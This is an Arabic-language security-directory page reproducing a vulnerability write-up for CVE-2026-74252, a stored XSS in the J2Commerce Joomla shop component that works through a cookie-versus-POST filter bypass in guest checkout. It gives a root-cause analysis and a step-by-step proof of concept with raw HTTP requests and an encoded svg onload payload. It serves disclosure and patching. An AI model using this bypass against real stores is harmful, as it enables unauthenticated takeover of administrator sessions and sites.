Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-74252 — XSS مخزنة في J2Commerce عند إتمام الشراء كضيف عبر تجاوز فلتر الكوكيز | Kitploit
أدوات/GitHubGitHub/toanln-cov/cve-2026-74252
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويب
GitHubtoanln-cov/cve-2026-74252

CVE-2026-74252

XSS مخزنة في J2Commerce عند إتمام الشراء كضيف عبر تجاوز فلتر الكوكيز

عرض المستودع
منذ 2 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة XSS مخزنة في J2Commerce عند إتمام الشراء كضيف عبر تجاوز فلتر الكوكيز

J2Commerce (com_j2store) ≤ 4.1.5 — مهاجم غير مصادَق يخزّن حمولة XSS يتم تنفيذها تلقائيًا في متصفح المسؤول عند تحميل الصفحة

CVE CVSS v4.0 CWE-79 Affected Researcher


الملخص

الإصدار 4.1.5 من J2Commerce عرضة لثغرة XSS مخزنة (Stored XSS) من خلال حقول عنوان الفوترة في إتمام الشراء كضيف. يستغل مهاجم غير مصادَق تجاوزًا للفلتر في Input::getArray() الخاصة بـ Joomla بالتزامن مع variables_order=EGPCS في PHP (تتغلب الكوكيز على POST في $_REQUEST) لتخزين HTML غير معقّم في حقول مثل billing_first_name. وتُطبع هذه الحقول مباشرةً في لوحة إدارة الطلبات الخاصة بالمسؤول دون استخدام htmlspecialchars()، مما يؤدي إلى تنفيذ الحمولة في متصفح المسؤول.

تنزيل الأداة

يتم تشغيل حمولة XSS تلقائيًا عند تحميل الصفحة عندما ينتقل المسؤول إلى قائمة الطلبات — لا يلزم أي نقرة على طلب فردي. سلسلة طلبات HTTP واحدة (إضافة إلى السلة ← إرسال إتمام الشراء مع تجاوز الكوكيز ← وضع الطلب) تخزّن الحمولة بشكل دائم، وستُنفَّذ في متصفح كل مسؤول حتى يتم حذف الطلب أو تصحيح الثغرة.

لا يتطلب الهجوم أي مصادقة من المهاجم. إتمام الشراء كضيف هو ميزة قياسية شائعة التفعيل في مواقع التجارة الإلكترونية، مما يوفر حافزًا اقتصاديًا للمسؤولين لمراجعة الطلبات الجديدة — مما يجعل استغلال الثغرة أمرًا بسيطًا وسهل التحويل إلى سلاح فعّال.


الإصدارات المتأثرة

المكوّنالإصدارات المتأثرةاختُبر علىالإصلاح
J2Commerce (com_j2store)1.0.0 – 4.1.54.1.5 على Joomla 5.4.7 + MySQL 8.03.3.21 / 4.0.21 / 4.1.6

تفاصيل الثغرة

النوع: Cross-Site Scripting — مخزنة (CWE-79) المصادقة المطلوبة: لا شيء — غير مصادَق (إتمام الشراء كضيف) المكان الرئيسي: administrator/components/com_j2store/views/orders/tmpl/default_items.php:73 مسار الكتابة: components/com_j2store/controllers/checkouts.php:535

السبب الجذري

تتكون الثغرة من نقطتي ضعف متراكمتين: تجاوز فلتر الإدخال في مسار الكتابة، وغياب ترميز المخرجات في مسار القراءة.

1. تجاوز فلتر الإدخال — سوء استخدام Input::getArray() في Joomla

يقرأ متحكّم إتمام الشراء كضيف في J2Commerce حقول العنوان باستخدام $app->input->getArray($_POST). يمر تنفيذ Joomla عبر مصفوفة $_POST ويستخدم كل قيمة كنوع فلتر (وليس كبيانات)، بينما يقرأ القيمة الفعلية من $_REQUEST:

COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — مسار الكتابة

root@kitploit:~
$data = $app->input->getArray($_POST);

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — طريقة GETARRAY() (السطر 187)

root@kitploit:~
public function getArray(array $vars = [], $datasource = null)
{
    foreach ($vars as $k => $v) {
        $results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
    }
}

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — مصدر البيانات (السطر 97)

root@kitploit:~
$this->data = $source ?? $_REQUEST;  // Reads from $_REQUEST, not $_POST

2. variables_order في PHP — تتغلب الكوكيز على POST في $_REQUEST

إن $_REQUEST في PHP هي متغير عام فائق مدمج يُبنى من $_GET و$_POST و$_COOKIE. عندما تكون variables_order=EGPCS (الافتراضي المضمّن في معظم بيئات PHP)، تُدرج الكوكيز (C) بعد POST (P)، لذا تكسب الكوكيز في حالة تعارض المفاتيح.

إرسال first_name=RAW في جسم POST يجعل InputFilter::clean() في Joomla يطبّق نوع الفلتر 'Raw' (بدون معالجة) على قيمة الكوكيز first_name=<svg...> التي تكسب في $_REQUEST.

LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — طريقة CLEAN() (السطر 215)

root@kitploit:~
$type = ucfirst(strtolower($type));  // 'RAW' → 'Raw'
if ($type === 'Raw') {
    return $source;  // ← no sanitization — returns cookie value unchanged
}

النتيجة النهائية: جسم POST الذي يحتوي first_name=RAW يضبط الفلتر على وضع عدم المعالجة. تكسب الكوكيز first_name=<svg onload="alert(document.domain)"> في $_REQUEST. يعيد Joomla قيمة الكوكيز دون فلترة. يخزّنها J2Commerce خامًا في j2store_orderinfos.billing_first_name.

3. غياب ترميز المخرجات — أماكن العرض في قوالب الإدارة

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — المكان الأساسي (يُفعَّل عند تحميل صفحة القائمة)

root@kitploit:~
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — مكان ثانوي

root@kitploit:~
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>

يعمل هذا التجاوز في جميع بيئات PHP باستثناء Debian/Ubuntu (وهي التي تضع صراحةً request_order = "GP"، باستبعاد الكوكيز من $_REQUEST). جميع بيئات الاستضافة الرئيسية الأخرى — الاستضافة المشتركة عبر cPanel/Plesk وCentOS/RHEL وXAMPP/WAMP/MAMP وWindows IIS — تعود إلى EGPCS، مما يجعل تجاوز الكوكيز مفعّلًا افتراضيًا دون الحاجة إلى أي تغييرات في الإعدادات.


إثبات المفهوم

1. نقطة الأساس للمسؤول — قائمة الطلبات قبل الهجوم

افتح قائمة طلبات إدارة J2Commerce بوصفك المسؤول الضحية. يؤكد هذا أن المسؤول يستخدم اللوحة بنشاط وسيواجه الحمولة عند الزيارة التالية.

s1-step1-admin-orders-baseline

2. استخراج رمز CSRF من الواجهة الأمامية

بوصفك المهاجم غير المصادَق، أرسل طلب GET إلى الصفحة الرئيسية لواجهة J2Commerce الأمامية لإنشاء جلسة واستخراج رمز CSRF المضمّن في خيارات JSON الخاصة بالصفحة. هذا الرمز مطلوب لطلبات POST اللاحقة.

s1-step2-csrf-token-extract

3. إضافة منتج إلى السلة

أضف منتجًا إلى سلة المهاجم. يجب أن تكون السلة غير فارغة حتى يقبل مسار إتمام الشراء كضيف إرسال العنوان.

root@kitploit:~
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded

product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

s1-step3-add-product-to-cart

4. التجاوز الأساسي — إرسال إتمام الشراء كضيف مع خدعة فلتر الكوكيز

أرسل نموذج عنوان إتمام الشراء كضيف بقيمتين متعارضتين لـ first_name:

  • جسم POST: first_name=RAW — يفسّرها Joomla كنوع الفلتر (بدون معالجة)
  • الكوكيز: first_name=<svg...> — تكسب هذه القيمة في $_REQUEST (EGPCS في PHP: الكوكيز > POST) وتُعاد دون فلترة
root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E

first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

s1-step4-cookie-bypass-guest-checkout

5. إكمال التحقق من عنوان الشحن

أرسل خطوة عنوان الشحن باستخدام نفس تجاوز الكوكيز. تعيّن هذه الخطوة بلد الشحن في الجلسة — وتخطّيها يؤدي إلى حدوث خطأ "SHIPPING_ADDRESS_NOT_FOUND" في الخطوات اللاحقة.

s1-step5-shipping-validate

6. اختيار طريقة الدفع

اختر طريقة الدفع (الدفع عند الاستلام). حقل payment_plugin ليس حقل إدخال نصي معرّضًا لـ XSS.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1

payment_plugin=payment_cash&<csrf_token>=1

s1-step6-select-payment-method

7. استرجاع رمز تأكيد الطلب

أرسل خطوة التأكيد لتلقي صفحة ملخص الطلب التي تحتوي على حقل hash مخفيّ. هذا الرمز مطلوب لإتمام الطلب.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1

accept_terms=1&<csrf_token>=1

s1-step7-retrieve-order-hash

8. وضع الطلب — استمرار حمولة XSS في قاعدة البيانات

أنهِ الطلب باستخدام الرمز من الخطوة السابقة. ينشئ الخادم سجل الطلب في joom_j2store_orderinfos مع تعيين billing_first_name على حمولة XSS الخام.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1

hash=<hash_from_step7>&<csrf_token>=1

s1-step8-place-order-xss-persisted

9. تنفيذ XSS في لوحة المسؤول — تلقائيًا عند تحميل الصفحة

بوصفك المسؤول الضحية، انتقل إلى قائمة طلبات J2Commerce. تُطلق حمولة XSS فورًا عند تحميل الصفحة — دون الحاجة إلى أي نقرة. يعرض قالب default_items.php:73 قيمة billing_first_name دون ترميز في عمود العميل.

عندما يعرض المسؤول الطلب، تتضمن استجابة الخادم:

root@kitploit:~
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>

s1-step9-xss-triggers-on-page-load


الأثر

  1. اختطاف جلسة المسؤول — JavaScript الذي يعمل في الواجهة الخلفية الخاصة بالمسؤول لديه وصول إلى كوكيز جلسة المسؤول (ما لم تكن HttpOnly) ويمكنه تسريبها إلى خادم يتحكم فيه المهاجم، مما يتيح الاستيلاء الكامل على الحساب دون الحاجة إلى بيانات اعتماد المسؤول.
  2. إنشاء حساب مسؤول مزيّف — يمكن لحمولة XSS استدعاء واجهة برمجة تطبيقات إدارة المستخدمين في Joomla برمجيًا لإنشاء حساب مسؤول خارق جديد، مما يمنح المهاجم وصولًا مستمرًا حتى بعد تغيير كلمات المرور أو إبطال الجلسات.
  3. تثبيت إضافة خبيثة — مع تنفيذ JavaScript بمستوى مسؤول، يمكن للمهاجم تفعيل نقاط نهاية تثبيت الإضافات لرفع قشرة ويب PHP، مما يحقق تنفيذًا عن بُعد للتعليمات البرمجية على الخادم الأساسي دون مزيد من التفاعل.
  4. اختراق كامل للموقع — يكتسب المهاجم القدرة على تعديل أي محتوى، واستخراج قاعدة البيانات (بما في ذلك المعلومات الشخصية للعملاء ومراجع الدفع)، وحقن برمجيات خبيثة في صفحات الواجهة الأمامية، وإنشاء أبواب خلفية دائمة — مما يشكّل استيلاءً كاملًا على الموقع.
  5. لا تتطلب الثغرة سوى وضع طلب — إتمام الشراء كضيف هو ميزة قياسية شائعة التفعيل في مواقع التجارة الإلكترونية. يمكن لأي زائر مجهول تفعيل هذا الهجوم عبر إرسال نموذج إتمام شراء — مما يوفر حافزًا اقتصاديًا (يراجع المسؤولون الطلبات بشكل روتيني)، ويجعل استغلال الثغرة أمرًا تافهًا في التحويل إلى هجوم واسع النطاق.

المراجع

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-74252
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-74252
  • GitHub Advisory: https://github.com/advisories/GHSA-42m7-jqh7-g85c
  • إعلان أمان المورّد: https://www.j2commerce.com/blog/security-announcement-releases-3-3-21-4-0-21-and-4-1-6
  • مستودع المورّد: https://github.com/j2store/J2Store